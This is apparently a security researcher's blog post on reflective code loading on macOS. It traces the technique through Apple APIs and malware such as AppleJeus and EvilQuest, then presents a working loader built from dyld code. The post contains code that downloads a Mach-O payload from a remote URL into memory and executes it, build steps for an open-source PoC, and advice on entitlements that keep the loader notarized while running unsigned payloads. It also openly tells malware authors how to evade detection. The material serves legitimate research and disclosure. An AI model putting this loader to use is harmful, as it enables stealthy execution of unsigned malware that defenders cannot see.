This research was originally presented at #OBTS v7.0. In this blog we touch on some of the main highlights and takeaways from the talk, plus provide an open-source PoC!
▪️ Slides: “Mirror Mirror: Restoring Reflective Code Loading on macOS”
▪️ Open-Source Proof of Concept: Reflective Code Loader
Reflective code loading is a powerful technique often (ab)used by sophisticated malware to execute compiled payloads directly from memory, bypassing the majority of detections. On macOS, this was once trivial due to Apple loader APIs that natively supported this capability …until Apple quietly reworked these APIs to enforce file-based loading, a change that seems to have gone unnoticed by many malware authors! 👀
In this blog, we’ll first revisit traditional methods for reflective code loading on macOS and examine specific examples of malware that have leveraged, and in some cases continue to leverage, these now-obsolete and ineffective approaches.
We’ll detail a surprisingly simple approach that leverages Apple’s own loader, ensuring that reflective code loading remains possible …even on macOS 15!
And while this undeniably poses significant challenges for defenders, stay tuned for part two, that will detail some strategies that aim to detect this stealthy capability.
▪️ “Reflective Code Loading” (Red Canary)
▪️ “Restoring Dyld Memory Loading” (Adam Chester)
▪️ “Understanding & Defending Against Reflective Code Loading on macOS” (Justin Bui)
First, let’s define “Reflective Code Loading”. Assigned T1620 in MITRE’s ATT&CK framework, there it is defined as such:
Reflective [code] loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk.Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.
More succinctly (and what we’re specifically focusing on here today), is the execution of compiled code, directly from memory:
A few key points include:
The payload is compiled binary (vs. say shellcode)
The payload is never written to disk, instead downloaded directly into memory from remote server.
(Unless it’s a persistent encrypted payload, yes saved to disk, but then only decrypted in memory).
And why do we even care about reflective code loading? Ah, excellent question! Well, it all comes down to the fact that Apple cares more about privacy than security. (I’m not saying this is wrong per se, but as well see here, this does have rather impactful side effects). Specifically, due to privacy concerns, Apple does not allow any process, even trusted security tools, to read the “remote” memory of another process. This means if you are a hacker your reflectively loaded payloads are safe from any (non-kernel-mode) macOS security tool, as such tools are essential blind to what other processes are doing in-memory!
This is succinctly articulated by the noted forensics expert Matt Suiche:
"Memory scanning capabilities on macOS are pretty bad in general. But [the] abolition of kexts for macOS will definitely make it impossible to access [remote] memory..." -Matt Suiche
Due to the fact the memory-based scanning/detection approaches are verboten on macOS, security tools (including macOS’ own built-in ones) are largely file-system-centric:
"The macOS file system is carefully scrutinized by endpoint detection & response (EDR) tools, commercial antivirus (AV) products, & Apple's baked-in XProtect AV.
As a result, when an adversary drops a known malicious binary on disk, the binary is very rapidly detected and often blocked." -Red Canary
Thus if you’re hacker or malware author (or red teamer), you should make extensive use of reflectively loaded payloads, as in-memory payloads on macOS invisible and cannot be captured. And if you’re a defender? er, well …good luck! 😓
Before we continue, it is important to understand the difference between on-disk binaries versus their in-memory “images” …as this is what makes reflective code loading somewhat complicated (though our approach, detailed shortly, is rather simple and elegant I might say!)
In a nutshell, compiled binaries on disk are optimized for storage. Thus their layout is different from their corresponding in-memory “image”. Moreover, if the binary has dependencies (such as frameworks or dynamic libraries) those have to be loaded as well. So, one cannot simply copy a file into memory and directly execute it! So who handles this rather complex task? …the linker/loader!
On macOS, the linker/loader is dyld
. One could devote an entire post just to dyld
, though here we’ll cover just the basic, largely to point out the complexities of preparing a binary for execution.
In a nutshell, when a user (or the system) launches or executes a binary dyld
:
Let’s now look at the rather long history of reflective code loading on macOS, that leveraged a handful of Apple APIs designed specifically for the in-memory execution of compiled binary …and funny enough, it all starts with a sample project from Apple!
In 2005, Apple released a sample project named “MemoryBasedBundle”, that, “is a sample that shows how to execute Mach-O code from memory, rather than from a file”:
This code worked on OSX 10.3 (released in 2003), which introduced a new group of APIs (NSCreateObjectFileImageFromMemory
and friends) that natively supported reflective code loading.
A few years later in 2009 the “Mac Hacker’s Handbook” was released. Written by Charlie Miller and Dino Dai Zovi, it described a shellcode based payload that would invoke Apple’s APIs (NSCreateObjectFileImageFromMemory
and friends) to load a binary image directly from memory. In other words, they presented an in-memory (shellcode-based) in-memory loader. Neat!
Around the same time, a much younger Patrick was creating persistent macOS implants that leveraged reflective code loading:
As the images from a ~2009 presentation and snippet of the implant’s source code shows, the persistent component of the implant (aka the loader) would first decrypt the implant modules in memory and then use the Apple reflective code loading APIs to link and load them. This ensured that although yes, some of the payloads lived persistently on the filesystem they were only decrypted (and the reflectively loaded) in memory.
Around 2017, public macOS malware finally joined the party. …and since then (as shown in the table from Red Canary’s report), has become rather fond of (ab)using macOS API’s that support reflective code loading:
Let’s now briefly look at two malware specimens from this list that I’ve previously analyzed: AppleJeus and EvilQuest.
In a blog post titled, “Lazarus Group Goes ‘Fileless’” I detailed now suspected DPRK hacker’s leveraged reflective code loading in macOS malware sample named ‘AppleJeus’. As shown in the screenshot from my slides, we can see by looking at the decompilation of the malware, the core logic is implemented in a function rather aptly named memory_exec2
:
No surprises here, they simple invoked macOS’ NSCreateObjectFileImageFromMemory
(and other) APIs that performed the reflective code loading for them.
Perhaps of more interest, while writing a second blog post on this malware (whereas I showed up to weaponize it to execute our own in-memory payloads), I noticed that the reflective code loading code was actually not original.
In 2017, Cylance published a blog post titled: “Running Executables on macOS From Memory”. Though the topic of in-memory code execution on macOS had been covered before (as was noted in the blog post), the post provided a comprehensive technical deep-dive into the topic, and more importantly provided an open-source project which included code to perform in-memory loading: “osx_runbin”.
The researcher (Stephanie Archibald), also presented this research (and more!) at an Infiltrate talk:
Here we are learning modernized osx rootkits (userland) from Stephanie Archibald ! pic.twitter.com/rAsK4xqSBh
— Dave Aitel (@daveaitel) April 6, 2017
If we compare Cylance’s osx_runbin code, it is trivial to see the in-memory loader code found within this Lazarus’s group’s malware is nearly 100% the same:
…in other words, the Lazarus group coders simply leveraged (copied/stole) the existing open-source osx_runbin
code in order to give their loader, advanced stealth and anti-forensics capabilities. And who can blame them? Work smart, not hard, right!? 😅
Another (more) recent macOS malware sample that has the ability to execute compiled payloads directly from memory is EvilQuest:
If we look at the disassembly, (and stop me if you’ve heard this before), we can see it simply leveraged macOS’s well known reflective code loading APIs. And again, it was “inspired” by open-source examples …specifically Apple’s “MemoryBasedBundle” project. And again, sure, why not just copy existing code? Malware authors are simply (sometimes lazy) software engineers themselves!
You can read all about EvilQuest in Chapter 10 and Chapter 11 of “The Art of Mac Malware (Volume I)” …which yes, is freely available online!
Finally, I briefly want to mention Gauss, a sophisticated (Windows) malware specimen that leveraged persistent, albeit environmentally encrypted payloads that were only decrypted in memory …and then reflectively loaded. This malware is notable, as its payloads, though eventually captured by malware analysts have to this day, never been encrypted! 🤯
“The most interesting mystery is Gauss encrypted warhead [environmentally encrypted payloads]. Despite our best efforts, we were unable to break the encryption.” -Kaspersky (2012)
The Gauss payload https://t.co/oHNlxMQrhd
— Igor Kuznetsov (@2igosha) September 5, 2021
Though the malware was well written, certain builds left in strings such as loader.cpp
that reference its reflective code loading capabilities (that would load the payloads once they’ve been decrypted in memory).
You can read all about Gauss and its encrypted payloads in:
As we noted Gauss’ payloads are encrypted with an “environmentally generated key”, which is how it is able to resist decryption (except on the system system it was keyed for). Once such payloads have been decrypted in memory, this is where a reflective loader comes into play, preparing them for execution directly from memory.
Fun fact (and unrelated to Gauss!) the National Security Agency holds a patent (granted to yours truly) titled “Method of Generating an Environmental Encryption Key” 🫣
Let’s now explore exactly how reflective code loading was achieved on macOS.
In 2003, with the release of OSX 10.3, Apple provided APIs to perform in reflective code loading! And since then, all the malware that support the in-memory loading of compiled payloads simply used these APIs …and why not? (It would be wayyyy more work to write your own loader).
In this section of the blog post, let’s dive a bit deeper in Apple’s sample “MemoryBasedBundle”, project to show exactly how to one could, rather simply, leverage these APIs to gain reflective code loading.
Read the payload into memory.
The first step is to get the compiled binary (that you want to reflectively load) into memory. This could be as simple as downloading it from a remote server:
1NSURL* url = [NSURL URLWithString:<some server>];
2NSData* data = [NSData dataWithContentsOfURL:url];
vm_deallocate
, you should copy the payload into a memory buffer that has been allocated via vm_allocate
).
Load and Link the payload.
Next you initialize a NSObjectFileImage
object by calling the NSCreateObjectFileImageFromMemory
API. This is then passed to the NSLinkModule
API (along with a name for your payload):
1NSObjectFileImage ofi = 0;
2NSCreateObjectFileImageFromMemory(buffer, fileSize, &ofi);
3NSModule module = NSLinkModule(ofi, "[Memory Based Bundle]", NSLINKMODULE_OPTION_PRIVATE);
Resolve and invoke an export of in the payload.
Now that the payload as been reflectively loaded, you can resolve a symbol (for example of an exported function) via the NSLookupSymbolInModule
and NSAddressOfSymbol
APIs. Then, you can invoke it.
Here, imagine our payload exports a function named entryPoint
that expects a single argument (a string that it simply prints out):
1typedef void (*EntryPoint)(const char *message);
2NSSymbol symbol = NSLookupSymbolInModule(module, "_" "entryPoint");
3
4EntryPoint entry = NSAddressOfSymbol(symbol);
5
6entry("Hello (reflectively loaded) World!");
If your payload implements a constructor (say via _attribute_((constructor))), that will be automatically executed as soon as the payload is loaded. Thus the final step of resolving and invoking exports may be superfluous.
Ok, but that’s it! Thanks to macOS’s native support for reflective code loading, malware (or anybody else), could simple invoke Apple provided APIs to load a compiled payload directly from memory …easy peasy!
…until!
All was well and good, until Apple released version 3 of dyld
. Without any fanfare (and overlooked by most, including all the malware authors), Apple silently changed the NSLinkModule
API:
macOS malware often (ab)uses APIs such as NSCreateObjectFileImageFromMemory, NSLinkModule etc) to execute in-memory payloads.
— Patrick Wardle (@patrickwardle) July 15, 2022
Apple has recently updated dyld3 (+these APIs), such that the in-memory payload is now first/always written out to disk 💾
See: https://t.co/vDuXLs6LXD pic.twitter.com/ALyFKSGRco
Specifically the NSLinkModule
will now always write out any in-memory payloads to disk, forcing them to be loaded as “normal” file-backed binaries:
1NSModule NSLinkModule(...) {
2 //if this is memory based image
3 // write to temp file, then use file based loading
4 if(image.memSource != nullptr ) {
5 ...
6 char tempFileName[PATH_MAX];
7 const char* tmpDir = getenv("TMPDIR");
8 strlcpy(tempFileName, tmpDir, PATH_MAX);
9 strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
10 int fd = ::mkstemp(tempFileName);
11 pwrite(fd, image.memSource, image.memLength, 0);
12 image.path = strdup(tempFileName);
13}
As we can see in the above code, the name of file will always start with NSCreateObjectFileImageFromMemory-XXXXXXXX
, and will be stored in a directory whose value taken from the TMPDIR
directory.
Let’s use Apple’s “MemoryBasedBundle” project to confirm this …executing on a recent version of macOS.
First, we can see that if we create payload (that previously would be reflectively loaded), once it’s loaded it now has a path on the filesystem, that it is able to print out itself:
% ./MemoryBasedBundle -nsmem Bundle.bundle Hello (reflectively loaded) World! ...from NSCreateObjectFileImageFromMemory Path: /private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP
Moreover, if we execute a file monitor, we can see the MemoryBasedBundle
indeed saving the payload to disk before executing it:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter MemoryBasedBundle { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP", "process" : "MemoryBasedBundle" } } { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/private/var/folders/b0/60435j5n6q79zs30z5qgbqcm0000gn/T/NSCreateObjectFileImageFromMemory-RbwLdxjP", "process" : "MemoryBasedBundle" } }
So does this mean Apple killed reflective code loading?
RIP to one of the main methods for true memory-only payloads on macOS https://t.co/f3fP9oYesS
— Andrew Case (@attrc) July 15, 2022
…well yes, via their APIs.
Apple nuked their reflective code loading APIs, so that what previously would have been memory-only payloads, are now written to disk. 😓
But not to worry, we’ll show a super simple way to restore this! First though I want to highlight other research on the topic.
Recently Adam Chester published a multi-part blog post on this very topic! Titled, “Restoring Dyld Memory Loading”, it covered methods such as patching the loader and implementing one’s own loader. It’s a great, informative read, and does describe methods that do, to some extent, restore reflective code loading on macOS.
However I was inspired to find an alternative approach that was a little more robust than patching the loader and also simpler than writing one’s own loader.
In my slides, I also talk about other (novel?) methods such setting TMPDIR to a ram disk which yes ensures that when Apple’s APIs “write out” the payload, as its written to a ram disk, and thus never touches the filesystem.
However, this has some downsides such as the fact that (Endpoint Security) file events are still generated and the payload on the ram disk is globally accessible …and thus could be read (and collected) by security tools.
And yes (also mentioned in the slides), though we can play some tricks to avoid the hard-coded file name prefix (NSCreateObjectFileImageFromMemory-XXXXXXXX
) that security tools can, and do, look for, again this approach just isn’t quite ideal.
First, let’s reiterate our goal: to restore reflective code loading on macOS (without having to write out own loader).
Now, if we take a step back and ponder for a moment, though yes, Apple’s higher level APIs no longer support reflective code loading, but under the hood the loader (dyld
) at some point will (still) take a binary that has been read into memory, and perform all the necessary loading and linking operations. And since Apple’s loader is open-source, can we just directly compile (just) that part of the Apple’s loader code into our own loader, thus restoring reflective code loading? …spoiler, yes of course we can!
Now Apple’s loader is a behemoth …and isn’t trivially compilable. However, I stumbled across a project on GitHub ("Custom Mach-O Image Loader") that had taken the core of Apple’s loader and made it compilable. And though the goal of that project had nothing to do with reflective code loading, it provided incredible useful!
Let’s start with the final code, which shows the relevant Apple dyld
code (that we’ve compiled directly into a custom library). We’ve add it to a function that we’ve named custom_dlopen_from_memory
. It takes a pointer to compiled mach-O binary payload that has been read into memory (for example downloaded into memory from a remote server), and the length of the payload.
1extern "C" void* custom_dlopen_from_memory(void* mh, int len) {
2
3 //load
4 const char* path = "foobar";
5 auto image =
6 ImageLoaderMachO::instantiateFromMemory(path, (macho_header*)mh, len, g_linkContext);
7
8 //link
9 std::vector<const char*> rpaths;
10 ImageLoader::RPathChain loaderRPaths(NULL, &rpaths);
11 image->link(g_linkContext, true, false, false, loaderRPaths, path);
12
13 //execute initializers (i.e. constructors)
14 ImageLoader::InitializerTimingList initializerTimes[1];
15 initializerTimes[0].count = 0;
16 image->runInitializers(g_linkContext, initializerTimes[0]);
17
18 return image;
19}
Yes, reflective code loading on macOS 15, in less than twenty lines of code. Hooray!
First, we invoke dyld
’s ImageLoaderMachO::instantiateFromMemory
method, that takes the payload and returns an pointer to an ImageLoader
. I actually have no idea what a ImageLoader
object is, but good news we really don’t have too. In some sense the internals of dyld
are irrelevant!
Second, with an initialized ImageLoader
object, we can link our in-memory payload by invoking the object’s aptly named link
method.
Finally, we invoke the ImageLoader
object’s runInitializers
method, which will execute any initializers, such as a constructor of our payload.
Let’s call our custom_dlopen_from_memory
function, to make sure it actually works! Here’s some very simple code that downloads a compiled payload from a remote server into memory, then invokes this function to load and execute it:
1int main(int argc, const char * argv[]) {
2
3 NSURL* url = [NSURL URLWithString:[NSString stringWithUTF8String:argv[1]]];
4 NSData* data = [NSData dataWithContentsOfURL:url];
5
6 custom_dlopen_from_memory((void*)data.bytes, (int)data.length);
7
8}
After compiling it (with a few additional print statements), we run it:
% ./customLoader https://file.io/PX4HVdOlgANO Downloaded https://file.io/PX4HVdOlgANO into memory Loading... Mach-O loaded at 0x6000021d8000 Linking... Invoking initializers... "Hello (reflectively loaded) World!"
So it works! But is it truly reflective? Why yes! If we (re)run a file monitor (the same way that confirmed Apple’s higher-level APIs write now write out the payload to disk), we can see that no file events are generated:
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter customLoader | grep "ES_EVENT_TYPE_NOTIFY_CREATE"
First, the good news. For hackers and those who would use reflective code loading for offensive purposes (no judgement!), note that the “hardened runtime” is still optional. macOS will happily run programs that have not been compiled with the hardened runtime.
The less than good news is that if you want to get your reflective code loader notarized, at compile time you must opt into the hardened runtime (as its mandatory for notarization). And this will break our reflective code loading as the hardened runtime requires that any executed code must be signed:
In the slide above, note that once we’ve enable the hardened runtime, though the payload is still loaded, as soon as we go to execute it, macOS kills us, generating a crash report with a “Code Signature Invalid
” exception. And though one might think that signing the payload (for example with your Apple Developer ID) would work, it appears to not …as in order to check if something is signed (and has not been tampered with), macOS wants and on-disk binary image. So for “memory only” payloads we’ll have to add an exception entitlement.
In order to opt into the hardened runtime (for example to submit our loader for notarization), but to retain reflective code loading functionality, we can make use of either the com.apple.security.cs.allow-unsigned-executable-memory
or com.apple.security.cs.disable-executable-page-protection
exception entitlement:
It is trivial to add these entitlements when compiling your code in Xcode, and as we can see, though we’ve opted into the hardened runtime (see: flags=0x10000(runtime)
), thanks to the exception entitlements, our reflective code loading is (still) good to go!
It’s wise to get your binaries notarized if you require user interaction in order for them to be initially executed. Currently Apple will notarize anything that is not malware (and in many cases, Cupertino inadvertently notarizes malware as well).
A loader, that simply downloads and executes additional payloads is not inherently malicious, and thus Apple will notarized it. Better, even if Apple decides to rescind the notarization (say for example if they observe the loader reflectively loading malicious payloads), though yes they will have the loader binary (as you submitted it to them to be notarized), the payloads will have to be recovered in some other manner! And, looking back at Gauss, if you’re leveraging a cryptographic protection scheme that leverages environmentally generated keys, your payloads may be protected …for ever!?
Oh, and to just to re-iterate, your compiled payloads, if reflectively loaded, don’t have to be notarized, or in fact signed at all (thanks to the exception entitlements).
So, if you’re hacker or malware author, don’t be lame! Instead:
NSCreateObjectFileImageFromMemory
and friends) that previously provided reflective code loading capabilities, as they are saving your payloads to disk and predictable, signaturizable location!
dyld
’s code compiled in.
…and if what if you’re a defender? We’ll, stay tuned for part II, though due to Apple’s privacy-centric view of the world, your options are rather limited. 🫤
I’ve uploaded an open-source proof of content to GitHub: https://github.com/pwardle/ReflectiveLoader.
The PoC is an Xcode project made up of three parts:
The custom loader
Based on the “Custom Mach-O Image Loader” project, I’ve extended it to support the reflective loading of in-memory payloads (by implementing and exposing a custom_dlopen_from_memory
function).
You should compile this via cmake
(it won’t compile via Xcode!):
% cd build % cmake .. % make
libloader.a
(that exports a custom_dlopen_from_memory
function) that you can link into your own programs to provide reflective code loading!
A example (reflective) payload
This is a simple example of reflective payload.
Note that its “Minimum Deployment” is set to macOS 11 to ensure its build without LC_DYLD_CHAINED_FIXUPS
(which the loader library doesn’t (yet?) support). If you create your own payload, make sure its built similarly.
And no, the payload does not need to be signed nor notarized!
It contains a constructor __attribute__((constructor))
that will be automatically executed when the payload is reflectively loaded.
A command line binary (PoC
)
This is a simple commandline PoC that links against the reflective loader library (libloader.a
) and reflectively loads payload from memory by calling the custom_dlopen_from_memory
function.
When executed from the command line, it expects a remote or local payload to (down)load and execute:
% ./PoC https://file.io/IAKV6NC6JDC8 macOS Reflective Code Loader [+] downloading from remote URL... payload now in memory (size: 68528), ready for loading/linking... Press any key to continue... dyld: 'ImageLoaderMachO::instantiateFromMemory' completed (image addr: 0x600000378180) dyld: 'image->link' completed [In-Memory Payload] Hello (reflectively loaded) World! [In-Memory Payload] I'm loaded at: 0x10b290000 dyld: 'image->runInitializers' completed Done! Press any key to exit...
Today, we dove deeply into reflective code loading on macOS. And after providing a fairly thorough historical analysis, we highlighted that rather recently Apple decided to nuke their APIs effectively preventing such loading …at least at the API level.
Not to worry, we showed how one could simply incorporate Apple’s loader code into your own loader, to trivially restore reflective code, even on macOS 15!
You can support them via my Patreon page!